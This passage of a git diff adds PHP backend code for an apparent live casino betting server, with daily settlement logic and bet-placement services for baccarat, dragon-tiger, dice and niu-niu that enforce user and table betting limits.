$tableInfo['id']])->order('id DESC')->find(); + if ($find) return $find->toArray(); + else return []; + } + + /** + * TODO 插入一条新的日结数据 + * @param array $tableInfo + * @return array + */ + public static function addByTable(array $tableInfo): array + { + $day = date('Y-m-d',time()); + $insert = array( + 'game_id' => $tableInfo['game_id'], + 'game_name' => $tableInfo['game_name'], + 'table_id' => $tableInfo['id'], + 'table_name' => $tableInfo['table_name'], + 'create_time' => time(), + 'day' => $day, + 'start_time' => time() + ); + $newSumDay = self::create($insert); + return $newSumDay->toArray(); + } + + /** + * TODO 日结 + * @param array $tableInfo + * @return array + */ + public static function resetBoot(array $tableInfo): array + { + $sumdayInfo = self::getByTableIdOrderByIdDesc($tableInfo); + $time = time(); + $day = date('Y-m-d',$time); + if($day == $sumdayInfo['day']){ + return ['status' => false, 'msg' => 'in_top_sumday']; + } + $bootInfo = Boot::getByTableIdOrderByIdDesc($tableInfo); + $numberTabInfo = NumberTab::getByBootIdOrderByIdDesc($bootInfo); + if (!$numberTabInfo){ + return ['status' => false, 'msg' => 'reset_boot_fail']; + } + if($numberTabInfo['bet_status'] != 0){ + return ['status' => false, 'msg' => 'reset_boot_false']; + } + Db::startTrans(); + try { + //更新现在的sumday + $updateLastSumdayRes = self::where(['id' => $sumdayInfo['id']])->update(['is_checkout' => 1, 'end_time' => $time]); + $createSumdayRes = self::create([ + 'game_id' => $tableInfo['game_id'], + 'game_name' => $tableInfo['game_name'], + 'table_id' => $tableInfo['id'], + 'table_name' => $tableInfo['table_name'], + 'create_time' => $time, + 'day' => $day, + 'start_time' => $time + ]); + $createSumdayRes = $createSumdayRes->toArray(); + $createBootRes = Boot::addBySumday($createSumdayRes); + $createNumberTabRes = NumberTab::addByBoot($createBootRes); + WaybillRemind::where(['table_id' => $tableInfo['id']])->delete(); + if ($tableInfo['in_checkout'] > 0) Table::where(['id' => $tableInfo['id']])->update(['in_checkout' => 0]); + Db::commit(); + return [ + 'status' => true, + 'data' => [ + 'boot_id' => $createBootRes['id'], + 'boot_num' => $createBootRes['boot_num'], + 'number_tab_id' => $createNumberTabRes['id'], + 'number_tab_number' => $createNumberTabRes['number'], + 'in_checkout' => 0, + 'number_tab_status' => InitTableService::numberTabStatus($createNumberTabRes) + ] + ]; + } catch (\Exception $e) { + Db::rollback(); + return ['status' => false, 'msg' => 'reset_boot_fail']; + } + + } +} \ No newline at end of file diff --git a/app/models/process/WaybillRemind.php b/app/models/process/WaybillRemind.php new file mode 100644 index 0000000..ff1a847 --- /dev/null +++ b/app/models/process/WaybillRemind.php @@ -0,0 +1,29 @@ + 7])->update(['username' => '6666']); + $res2 = self::where(['id' => 3])->update($user); + // 提交事务 + Db::commit(); + return ['status' => 1, 'msg' => 'success']; + } catch (\Exception $e) { + print_r($e->getMessage()); + // 回滚事务 + Db::rollback(); + return ['status' => 0, 'msg' => 'fail']; + } + } +} \ No newline at end of file diff --git a/app/provider.php b/app/provider.php new file mode 100644 index 0000000..73d99fa --- /dev/null +++ b/app/provider.php @@ -0,0 +1,9 @@ + Request::class, + 'think\exception\Handle' => ExceptionHandle::class, +]; diff --git a/app/service.php b/app/service.php new file mode 100644 index 0000000..db1ee6a --- /dev/null +++ b/app/service.php @@ -0,0 +1,9 @@ + false, 'msg' => 'cannot_cancel_bet']; + $time = time(); + if ($numberTabInfo['bet_status'] != 1 || $time > ($numberTabInfo['bet_start_time'] + $tableInfo['wait_time'])) return ['status' => false, 'msg' => 'cannot_cancel_bet']; + $userInfo = User::get(intval($event['user_id'])); + if (!$userInfo) return ['status' => false, 'msg' => 'cannot_cancel_bet']; + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + if(!$prevBetInfo) return ['status' => false, 'msg' => 'not_user_bet']; + return Bet::cancelBet($tableInfo,$numberTabInfo,$userInfo,$prevBetInfo); + + } +} \ No newline at end of file diff --git a/app/services/bet/ToBetBaccaratService.php b/app/services/bet/ToBetBaccaratService.php new file mode 100644 index 0000000..ac9d082 --- /dev/null +++ b/app/services/bet/ToBetBaccaratService.php @@ -0,0 +1,164 @@ +getSender(); + $baccaratType = intval($event['baccarat_type']); + $data = array(); + $data['banker_amount'] = isset($event['banker_amount']) && intval($event['banker_amount']) > 0 ? intval($event['banker_amount']) : 0; + $data['player_amount'] = isset($event['player_amount']) && intval($event['player_amount']) > 0 ? intval($event['player_amount']) : 0; + $data['tie_amount'] = isset($event['tie_amount']) && intval($event['tie_amount']) > 0 ? intval($event['tie_amount']) : 0; + $data['banker_pair_amount'] = isset($event['banker_pair_amount']) && intval($event['banker_pair_amount']) > 0 ? intval($event['banker_pair_amount']) : 0; + $data['player_pair_amount'] = isset($event['player_pair_amount']) && intval($event['player_pair_amount']) > 0 ? intval($event['player_pair_amount']) : 0; + $data['luck_six_amount'] = isset($event['luck_six_amount']) && intval($event['luck_six_amount']) > 0 ? intval($event['luck_six_amount']) : 0; + $data['big_amount'] = isset($event['big_amount']) && intval($event['big_amount']) > 0 ? intval($event['big_amount']) : 0; + $data['small_amount'] = isset($event['small_amount']) && intval($event['small_amount']) > 0 ? intval($event['small_amount']) : 0; + $seat_num = isset($event['seat_num']) && intval($event['seat_num']) > 0 ? intval($event['seat_num']) : 0; + $time = time(); + $toBetCheck = ToBetCommonService::toBetCheck($tableInfo,$event,$data); + if ($toBetCheck['status'] == false){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => $toBetCheck['msg']]); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + $numberTabInfo = $toBetCheck['numberTabInfo']; + $userInfo = $toBetCheck['userInfo']; + $amount = array_sum($data); + + /***** User Limit Start *****/ + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + $betTotalAmount = []; + if($prevBetInfo){ + $betTotalAmount['banker_amount'] = $prevBetInfo['banker_amount'] + $data['banker_amount']; + $betTotalAmount['player_amount'] = $prevBetInfo['player_amount'] + $data['player_amount']; + $betTotalAmount['tie_amount'] = $prevBetInfo['tie_amount'] + $data['tie_amount']; + $betTotalAmount['banker_pair_amount'] = $prevBetInfo['banker_pair_amount'] + $data['banker_pair_amount']; + $betTotalAmount['player_pair_amount'] = $prevBetInfo['player_pair_amount'] + $data['player_pair_amount']; + $betTotalAmount['luck_six_amount'] = $prevBetInfo['luck_six_amount'] + $data['luck_six_amount']; + $betTotalAmount['big_amount'] = $prevBetInfo['big_amount'] + $data['big_amount']; + $betTotalAmount['small_amount'] = $prevBetInfo['small_amount'] + $data['small_amount']; + }else{ + $betTotalAmount = $data; + } + foreach ($betTotalAmount AS $value){ + if ($value > $userInfo['limit_high']){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_user']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + if ($value > 0 && $value < $userInfo['limit_low']){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'under_limit_user']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + } + /***** User Limit End *****/ + + /***** Table Limit Start *****/ + $limitMoneyArray = explode('-',$tableInfo['limit_money']); + $limitMoneyTieArray = explode('-',$tableInfo['limit_money_tie']); + $limitMoneyPairArray = explode('-',$tableInfo['limit_money_pair']); + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + if($prevBetInfo){ + $totalBankerAmount = $prevBetInfo['banker_amount'] + $data['banker_amount']; + $totalPlayerAmount = $prevBetInfo['player_amount'] + $data['player_amount']; + $totalTieAmount = $prevBetInfo['tie_amount'] + $data['tie_amount']; + $totalBPAmount = $prevBetInfo['banker_pair_amount'] + $data['banker_pair_amount']; + $totalPPAmount = $prevBetInfo['player_pair_amount'] + $data['player_pair_amount']; + }else{ + $totalBankerAmount = $data['banker_amount']; + $totalPlayerAmount = $data['player_amount']; + $totalTieAmount = $data['tie_amount']; + $totalBPAmount = $data['banker_pair_amount']; + $totalPPAmount = $data['player_pair_amount']; + } + $curNumberTabBankerAmount = $numberTabInfo['banker_amount'] + $data['banker_amount']; + $curNumberTabPlayerAmount = $numberTabInfo['player_amount'] + $data['player_amount']; + $curNumberTabTieAmount = $numberTabInfo['tie_amount'] + $data['tie_amount']; + $curNumberTabBPAmount = $numberTabInfo['banker_pair_amount'] + $data['banker_pair_amount']; + $curNumberTabPPAmount = $numberTabInfo['player_pair_amount'] + $data['player_pair_amount']; + + //对冲 +// $difference = abs(round(($curNumberTabBankerAmount - $curNumberTabPlayerAmount),2)); +// if($difference > $limitMoneyArray[1] || $curNumberTabTieAmount > $limitMoneyTieArray[1] || $curNumberTabBPAmount > $limitMoneyPairArray[1] || $curNumberTabPPAmount > $limitMoneyPairArray[1]){ +// $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_table']); +// SocketSession::resetRepeat($fd,'user','isToBet'); +// return; +// } + // 桌台 + if($totalBankerAmount > $limitMoneyArray[1] || $totalPlayerAmount > $limitMoneyArray[1] || $totalTieAmount > $limitMoneyTieArray[1] || $totalBPAmount > $limitMoneyPairArray[1] || $totalPPAmount > $limitMoneyPairArray[1]){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + if(($totalBankerAmount > 0 && $totalBankerAmount < $limitMoneyArray[0]) || ($totalPlayerAmount > 0 && $totalPlayerAmount < $limitMoneyArray[0]) || ($totalTieAmount > 0 && $totalTieAmount < $limitMoneyTieArray[0]) || ($totalBPAmount > 0 && $totalBPAmount < $limitMoneyPairArray[0]) || ($totalPPAmount > 0 && $totalPPAmount < $limitMoneyPairArray[0])){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'under_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + + //如果桌子设置了单口最高下注,则所有的下注不能超过桌子单口下注限红 + if(($tableInfo['limit_money_total'] > 0 && $curNumberTabBankerAmount > $tableInfo['limit_money_total']) || ($tableInfo['limit_money_total'] > 0 && $curNumberTabPlayerAmount > $tableInfo['limit_money_total']) || ($tableInfo['limit_money_tie_total'] > 0 && $curNumberTabTieAmount > $tableInfo['limit_money_tie_total']) || ($tableInfo['limit_money_pair_total'] > 0 && $curNumberTabBPAmount > $tableInfo['limit_money_pair_total']) || ($tableInfo['limit_money_pair_total'] > 0 && $curNumberTabPPAmount > $tableInfo['limit_money_pair_total'])){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + + /***** Table Limit End *****/ + $res = Bet::toBet($tableInfo,$userInfo,$numberTabInfo,$prevBetInfo,$data,$seat_num,$betTotalAmount,$time,$baccaratType); + if($res){ + $ws->emit('toBet',['status' => true, 'table_id' => $tableInfo['id'], 'user_id' => $userInfo['id'], 'manager_id' => $userInfo['manager_id'] ,'bet_amount_msg' => $betTotalAmount, 'money' => ($userInfo['money'] - $amount),'seat_num' => $seat_num, 'msg' => 'to_bet_success']); + if($userInfo['bet_type'] == 2){ + $tableManager = app('swoole.table.manager'); + $managerSession = $tableManager->get((string) $userInfo['manager_id']); + if ($managerSession && is_array($managerSession)){ + $ws->setSender(0)->to($managerSession['fd'])->emit('toBet',['status' => true, 'table_id' => $tableInfo['id'], 'user_id' => $userInfo['id'], 'manager_id' => $userInfo['manager_id'] ,'bet_amount_msg' => $betTotalAmount, 'money' => ($userInfo['money'] - $amount),'seat_num' => $seat_num, 'msg' => 'to_bet_success']); + } + } + $round = array( + 'banker_amount' => intval($numberTabInfo['banker_amount'] + $data['banker_amount']), + 'player_amount' => intval($numberTabInfo['player_amount'] + $data['player_amount']), + 'tie_amount' => intval($numberTabInfo['tie_amount'] + $data['tie_amount']), + 'banker_pair_amount' => intval($numberTabInfo['banker_pair_amount'] + $data['banker_pair_amount']), + 'player_pair_amount' => intval($numberTabInfo['player_pair_amount'] + $data['player_pair_amount']), + 'luck_six_amount' => intval($numberTabInfo['luck_six_amount'] + $data['luck_six_amount']), + 'big_amount' => intval($numberTabInfo['big_amount'] + $data['big_amount']), + 'small_amount' => intval($numberTabInfo['small_amount'] + $data['small_amount']), + 'amount_item' => array( + 'banker_amount' => intval($data['banker_amount']), + 'player_amount' => intval($data['player_amount']), + 'tie_amount' => intval($data['tie_amount']), + 'banker_pair_amount' => intval($data['banker_pair_amount']), + 'player_pair_amount' => intval($data['player_pair_amount']), + 'luck_six_amount' => intval($data['luck_six_amount']), + 'big_amount' => intval($data['big_amount']), + 'small_amount' => intval($data['small_amount']), + 'user_id' => $userInfo['id'], + ), + ); + $ws->to(SocketSession::HOUSE_NAME)->emit('allBetAmount',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + }else{ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_bet_fail']); + } + SocketSession::resetRepeat($fd,'user','isToBet'); + } +} diff --git a/app/services/bet/ToBetCommonService.php b/app/services/bet/ToBetCommonService.php new file mode 100644 index 0000000..4390261 --- /dev/null +++ b/app/services/bet/ToBetCommonService.php @@ -0,0 +1,72 @@ + false, 'msg' => 'to_bet_fail_6']; + } + $numberTabId = isset($event['number_tab_id']) && intval($event['number_tab_id']) > 0 ? intval($event['number_tab_id']) : 0; + $userId = isset($event['user_id']) && intval($event['user_id']) > 0 ? intval($event['user_id']) : 0; + $userInfo = User::get(['id' => $userId, 'status' => 1, 'is_delete' => 0]); + if (!$userInfo) return ['status' => false, 'msg' => 'to_bet_fail_2']; + if($userInfo['bet_type'] == 2){ + $session_id = $userInfo['api_token']; + $sessionInfo = Session::get(['session_id' => $session_id]); + if(!$sessionInfo){ + return ['status' => false, 'msg' => 'to_bet_fail_9']; + } + if(!$sessionInfo['server_status']){ + return ['status' => false, 'msg' => 'to_bet_fail_10']; + } + } + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + if ($numberTabInfo['id'] != $numberTabId){ + return ['status' => false, 'msg' => 'to_bet_fail_5']; + } + if ($numberTabInfo['bet_status'] != 1 || time() > ($numberTabInfo['bet_start_time'] + $tableInfo['wait_time'])){ + return ['status' => false, 'msg' => 'to_bet_fail_4']; + } + // 超过50局幸运6禁止下注 + if ($numberTabInfo['number'] > 50 && isset($event['luck_six_amount']) && $event['luck_six_amount'] > 0){ + return ['status' => false, 'msg' => 'to_bet_fail_7']; + } + // 超过30局大小禁止下注 + if ($numberTabInfo['number'] > 30 && isset($event['big_amount']) && $event['big_amount'] > 0){ + return ['status' => false, 'msg' => 'to_bet_fail_8']; + } + if ($numberTabInfo['number'] > 30 && isset($event['small_amount']) && $event['small_amount'] > 0){ + return ['status' => false, 'msg' => 'to_bet_fail_8']; + } + if($userInfo['win_limit'] > 0){ + $winTotalToday = Bet::getWinTotalToday($userInfo['id']); + if($winTotalToday >= $userInfo['win_limit']){ + return ['status' => false, 'msg' => 'win_limit_tip']; + } + } + if ($userInfo['money'] < $amount){ + return ['status' => false, 'msg' => 'to_bet_fail_1']; + } + return ['status' => true, 'numberTabInfo' => $numberTabInfo, 'userInfo' => $userInfo]; + /** 通用检验重复部分结束 */ + } +} \ No newline at end of file diff --git a/app/services/bet/ToBetDiceService.php b/app/services/bet/ToBetDiceService.php new file mode 100644 index 0000000..45fc8bc --- /dev/null +++ b/app/services/bet/ToBetDiceService.php @@ -0,0 +1,106 @@ +getSender(); + $data = array(); + foreach ($event['amount'] as $k => $v){ + if (intval($v) > 0){ + $data[$k] = intval($v); + } + } + $seat_num = isset($event['seat_num']) && intval($event['seat_num']) > 0 ? intval($event['seat_num']) : 0; + $time = time(); + $toBetCheck = ToBetCommonService::toBetCheck($tableInfo,$event,$data); + if ($toBetCheck['status'] == false){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => $toBetCheck['msg']]); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + $numberTabInfo = $toBetCheck['numberTabInfo']; + $userInfo = $toBetCheck['userInfo']; + $amount = array_sum($data); + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + if($prevBetInfo){ + $beforeAmount = string_to_array($prevBetInfo['dice_amount']); + $betTotalAmount = DiceUtil::amountInc($beforeAmount, $data); + }else{ + $betTotalAmount = $data; + } + + /***** User Limit Start *****/ + $totalAmount = array_sum($betTotalAmount); + if ($totalAmount > $userInfo['limit_high']){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_user']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + if ($totalAmount > 0 && $totalAmount < $userInfo['limit_low']){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'under_limit_user']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + /***** User Limit End *****/ + + /***** Table Limit Start *****/ + $totalAmount = array_sum($betTotalAmount); + $limitMoneyArray = explode('-',$tableInfo['limit_money']); + if($totalAmount > $limitMoneyArray[1]){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + if(($totalAmount > 0 && $totalAmount < $limitMoneyArray[0]) ){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'under_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + + //如果桌子设置了单口最高下注,则所有的下注不能超过桌子单口下注限红 + if(($tableInfo['limit_money_total'] > 0 && $totalAmount > $tableInfo['limit_money_total'])){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + + /***** Table Limit End *****/ + + + + $res = Bet::toBet($tableInfo,$userInfo,$numberTabInfo,$prevBetInfo,$data,$seat_num,$betTotalAmount,$time,0); + $numberTabAmount = string_to_array($numberTabInfo['dice_amount']); + if($res){ + $ws->emit('toBet',['status' => true, 'table_id' => $tableInfo['id'], 'bet_amount_msg' => $betTotalAmount, 'money' => ($userInfo['money'] - $amount),'seat_num' => $seat_num, 'msg' => 'to_bet_success']); + $totalAmountArray = DiceUtil::amountInc($numberTabAmount, $data); + $round = [ + 'amount_total' => $totalAmountArray, + 'amount_item' => $data + ]; + $ws->to(SocketSession::HOUSE_NAME)->emit('allBetAmount',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + }else{ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_bet_fail']); + } + SocketSession::resetRepeat($fd,'user','isToBet'); + } + +} diff --git a/app/services/bet/ToBetDtService.php b/app/services/bet/ToBetDtService.php new file mode 100644 index 0000000..d9ffa24 --- /dev/null +++ b/app/services/bet/ToBetDtService.php @@ -0,0 +1,135 @@ +getSender(); + $data = array(); + $data['banker_amount'] = isset($event['banker_amount']) && intval($event['banker_amount']) > 0 ? intval($event['banker_amount']) : 0; + $data['player_amount'] = isset($event['player_amount']) && intval($event['player_amount']) > 0 ? intval($event['player_amount']) : 0; + $data['tie_amount'] = isset($event['tie_amount']) && intval($event['tie_amount']) > 0 ? intval($event['tie_amount']) : 0; + $seat_num = isset($event['seat_num']) && intval($event['seat_num']) > 0 ? intval($event['seat_num']) : 0; + + $time = time(); + $toBetCheck = ToBetCommonService::toBetCheck($tableInfo,$event,$data); + if ($toBetCheck['status'] == false){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => $toBetCheck['msg']]); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + $numberTabInfo = $toBetCheck['numberTabInfo']; + $userInfo = $toBetCheck['userInfo']; + $amount = array_sum($data); + + /***** User Limit Start *****/ + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + $betTotalAmount = []; + if($prevBetInfo){ + $betTotalAmount['banker_amount'] = $prevBetInfo['banker_amount'] + $data['banker_amount']; + $betTotalAmount['player_amount'] = $prevBetInfo['player_amount'] + $data['player_amount']; + $betTotalAmount['tie_amount'] = $prevBetInfo['tie_amount'] + $data['tie_amount']; + }else{ + $betTotalAmount = $data; + } + if($betTotalAmount['banker_amount'] > $userInfo['limit_high'] || $betTotalAmount['player_amount'] > $userInfo['limit_high'] || $betTotalAmount['tie_amount'] > $userInfo['limit_high_tie']){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_user']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + if(($betTotalAmount['banker_amount'] > 0 && $betTotalAmount['banker_amount'] < $userInfo['limit_low']) || ($betTotalAmount['player_amount'] > 0 && $betTotalAmount['player_amount'] < $userInfo['limit_low']) || ($betTotalAmount['tie_amount'] > 0 && $betTotalAmount['tie_amount'] < $userInfo['limit_low_tie'])){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'under_limit_user']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + /***** User Limit End *****/ + + /***** Table Limit Start *****/ + $limitMoneyArray = explode('-',$tableInfo['limit_money']); + $limitMoneyTieArray = explode('-',$tableInfo['limit_money_tie']); + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + if($prevBetInfo){ + $totalBankerAmount = $prevBetInfo['banker_amount'] + $data['banker_amount']; + $totalPlayerAmount = $prevBetInfo['player_amount'] + $data['player_amount']; + $totalTieAmount = $prevBetInfo['tie_amount'] + $data['tie_amount']; + }else{ + $totalBankerAmount = $data['banker_amount']; + $totalPlayerAmount = $data['player_amount']; + $totalTieAmount = $data['tie_amount']; + } + $curNumberTabBankerAmount = $numberTabInfo['banker_amount'] + $data['banker_amount']; + $curNumberTabPlayerAmount = $numberTabInfo['player_amount'] + $data['player_amount']; + $curNumberTabTieAmount = $numberTabInfo['tie_amount'] + $data['tie_amount']; +// +// $difference = abs(round(($curNumberTabBankerAmount - $curNumberTabPlayerAmount),2)); +// if($difference > $limitMoneyArray[1] || $curNumberTabTieAmount > $limitMoneyTieArray[1]){ +// $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_table']); +// SocketSession::resetRepeat($fd,'user','isToBet'); +// return; +// } + + if($totalBankerAmount > $limitMoneyArray[1] || $totalPlayerAmount > $limitMoneyArray[1] || $totalTieAmount > $limitMoneyTieArray[1]){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + if(($totalBankerAmount > 0 && $totalBankerAmount < $limitMoneyArray[0]) || ($totalPlayerAmount > 0 && $totalPlayerAmount < $limitMoneyArray[0]) || ($totalTieAmount > 0 && $totalTieAmount < $limitMoneyTieArray[0])){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'under_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + + //如果桌子设置了单口最高下注,则所有的下注不能超过桌子单口下注限红 + if(($tableInfo['limit_money_total'] > 0 && $curNumberTabBankerAmount > $tableInfo['limit_money_total']) || ($tableInfo['limit_money_total'] > 0 && $curNumberTabPlayerAmount > $tableInfo['limit_money_total']) || ($tableInfo['limit_money_tie_total'] > 0 && $curNumberTabTieAmount > $tableInfo['limit_money_tie_total']) ){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'exceeds_limit_table']); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + /***** Table Limit End *****/ + + $res = Bet::toBet($tableInfo,$userInfo,$numberTabInfo,$prevBetInfo,$data,$seat_num,$betTotalAmount,$time,0); + if($res){ + $ws->emit('toBet',['status' => true, 'table_id' => $tableInfo['id'], 'bet_amount_msg' => $betTotalAmount, 'money' => ($userInfo['money'] - $amount),'seat_num' => $seat_num, 'msg' => 'to_bet_success']); + if($userInfo['bet_type'] == 2){ + $tableManager = app('swoole.table.manager'); + $managerSession = $tableManager->get((string) $userInfo['manager_id']); + if ($managerSession && is_array($managerSession)){ + $ws->setSender(0)->to($managerSession['fd'])->emit('toBet',['status' => true, 'table_id' => $tableInfo['id'], 'user_id' => $userInfo['id'], 'manager_id' => $userInfo['manager_id'] ,'bet_amount_msg' => $betTotalAmount, 'money' => ($userInfo['money'] - $amount),'seat_num' => $seat_num, 'msg' => 'to_bet_success']); + } + } + $round = array( + 'banker_amount' => intval($numberTabInfo['banker_amount'] + $data['banker_amount']), + 'player_amount' => intval($numberTabInfo['player_amount'] + $data['player_amount']), + 'tie_amount' => intval($numberTabInfo['tie_amount'] + $data['tie_amount']), + 'amount_item' => array( + 'banker_amount' => intval($data['banker_amount']), + 'player_amount' => intval($data['player_amount']), + 'tie_amount' => intval($data['tie_amount']), + 'user_id' => $userInfo['id'], + ), + ); + $ws->to(SocketSession::HOUSE_NAME)->emit('allBetAmount',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + }else{ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'to_bet_fail']); + } + SocketSession::resetRepeat($fd,'user','isToBet'); + } +} \ No newline at end of file diff --git a/app/services/bet/ToBetNnService.php b/app/services/bet/ToBetNnService.php new file mode 100644 index 0000000..62351f7 --- /dev/null +++ b/app/services/bet/ToBetNnService.php @@ -0,0 +1,189 @@ +getSender(); + $data = array(); + + $data['amount_player_1'] = isset($event['amount_player_1']) && intval($event['amount_player_1']) > 0 ? intval($event['amount_player_1']) : 0; + $data['amount_player_1_times'] = isset($event['amount_player_1_times']) && intval($event['amount_player_1_times']) > 0 ? intval($event['amount_player_1_times']) : 0; + $data['withhold_player_1_times'] = $data['amount_player_1_times'] * 4; + $data['amount_player_1_banker'] = isset($event['amount_player_1_banker']) && intval($event['amount_player_1_banker']) > 0 ? intval($event['amount_player_1_banker']) : 0; + $data['amount_player_1_banker_times'] = isset($event['amount_player_1_banker_times']) && intval($event['amount_player_1_banker_times']) > 0 ? intval($event['amount_player_1_banker_times']) : 0; + $data['withhold_player_1_banker_times'] = $data['amount_player_1_banker_times'] * 4; + + $data['amount_player_2'] = isset($event['amount_player_2']) && intval($event['amount_player_2']) > 0 ? intval($event['amount_player_2']) : 0; + $data['amount_player_2_times'] = isset($event['amount_player_2_times']) && intval($event['amount_player_2_times']) > 0 ? intval($event['amount_player_2_times']) : 0; + $data['withhold_player_2_times'] = $data['amount_player_2_times'] * 4; + $data['amount_player_2_banker'] = isset($event['amount_player_2_banker']) && intval($event['amount_player_2_banker']) > 0 ? intval($event['amount_player_2_banker']) : 0; + $data['amount_player_2_banker_times'] = isset($event['amount_player_2_banker_times']) && intval($event['amount_player_2_banker_times']) > 0 ? intval($event['amount_player_2_banker_times']) : 0; + $data['withhold_player_2_banker_times'] = $data['amount_player_2_banker_times'] * 4; + + $data['amount_player_3'] = isset($event['amount_player_3']) && intval($event['amount_player_3']) > 0 ? intval($event['amount_player_3']) : 0; + $data['amount_player_3_times'] = isset($event['amount_player_3_times']) && intval($event['amount_player_3_times']) > 0 ? intval($event['amount_player_3_times']) : 0; + $data['withhold_player_3_times'] = $data['amount_player_3_times'] * 4; + $data['amount_player_3_banker'] = isset($event['amount_player_3_banker']) && intval($event['amount_player_3_banker']) > 0 ? intval($event['amount_player_3_banker']) : 0; + $data['amount_player_3_banker_times'] = isset($event['amount_player_3_banker_times']) && intval($event['amount_player_3_banker_times']) > 0 ? intval($event['amount_player_3_banker_times']) : 0; + $data['withhold_player_3_banker_times'] = $data['amount_player_3_banker_times'] * 4; + $seat_num = isset($event['seat_num']) && intval($event['seat_num']) > 0 ? intval($event['seat_num']) : 0; + + $time = time(); + $toBetCheck = ToBetCommonService::toBetCheck($tableInfo,$event,$data); + if ($toBetCheck['status'] == false){ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => $toBetCheck['msg']]); + SocketSession::resetRepeat($fd,'user','isToBet'); + return; + } + $numberTabInfo = $toBetCheck['numberTabInfo']; + $userInfo = $toBetCheck['userInfo']; + $amount = array_sum($data); + + /***** User Limit Start *****/ + $prevBetInfo = Bet::getPrevBetInfo($userInfo['id'],$numberTabInfo['id']); + $betTotalAmount = []; + if($prevBetInfo){ + $betTotalAmount['amount_player_1'] = $prevBetInfo['amount_player_1'] + $data['amount_player_1']; + $betTotalAmount['amount_player_2'] = $prevBetInfo['amount_player_2'] + $data['amount_player_2']; + $betTotalAmount['amount_player_3'] = $prevBetInfo['amount_player_3'] + $data['amount_player_3']; + + $betTotalAmount['amount_player_1_times'] = $prevBetInfo['amount_player_1_times'] + $data['amount_player_1_times']; + $betTotalAmount['amount_player_2_times'] = $prevBetInfo['amount_player_2_times'] + $data['amount_player_2_times']; + $betTotalAmount['amount_player_3_times'] = $prevBetInfo['amount_player_3_times'] + $data['amount_player_3_times']; + + $betTotalAmount['withhold_player_1_times'] = $prevBetInfo['withhold_player_1_times'] + $data['withhold_player_1_times']; + $betTotalAmount['withhold_player_2_times'] = $prevBetInfo['withhold_player_2_times'] + $data['withhold_player_2_times']; + $betTotalAmount['withhold_player_3_times'] = $prevBetInfo['withhold_player_3_times'] + $data['withhold_player_3_times']; + + $betTotalAmount['amount_player_1_banker'] = $prevBetInfo['amount_player_1_banker'] + $data['amount_player_1_banker']; + $betTotalAmount['amount_player_2_banker'] = $prevBetInfo['amount_player_2_banker'] + $data['amount_player_2_banker']; + $betTotalAmount['amount_player_3_banker'] = $prevBetInfo['amount_player_3_banker'] + $data['amount_player_3_banker']; + + 